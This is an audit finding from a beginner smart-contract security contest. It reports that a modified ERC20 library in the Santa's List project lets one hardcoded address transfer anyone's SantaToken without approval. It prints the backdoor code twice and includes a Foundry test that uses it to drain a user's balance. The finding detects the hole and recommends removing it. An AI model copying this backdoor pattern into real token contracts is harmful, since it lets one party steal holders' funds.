First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Santa should fire his dwarves because they have adjusted the ERC20.sol module to allow one of their addresses to drain user's minted SantaToken

jerseyjoewalcott

Summary

SantaToken has a vulnerability to allow address 0x815F577F1c1bcE213c012f166744937C889DAF17 to transfer SantaToken as and when he likes.

Vulnerability Details

The ERC20.sol inherited by SantaToken.sol has been edited to allow address "0x815F577F1c1bcE213c012f166744937C889DAF17" to freely move around SantaToken.

if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Here is an example of how it can happen:

include this line in the variables:

address dwarf = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
function test_santaTokenCanBeExploitedByAddress() public {
// set user as EXTA_NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.startPrank(user);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
santasList.collectPresent();
santaToken.balanceOf(user);
vm.stopPrank();
​
vm.startPrank(dwarf);
santaToken.transferFrom(user,dwarf,1e18);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santaToken.balanceOf(dwarf), 1e18);
​
}
​

Impact

Dwarf can ruin everyone's Christmas by stealing their tokens to his wallet

Tools Used

Manual Review, Foundry

Recommendations

Fire the dwarf and remove this portion in ERC20.sol

if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.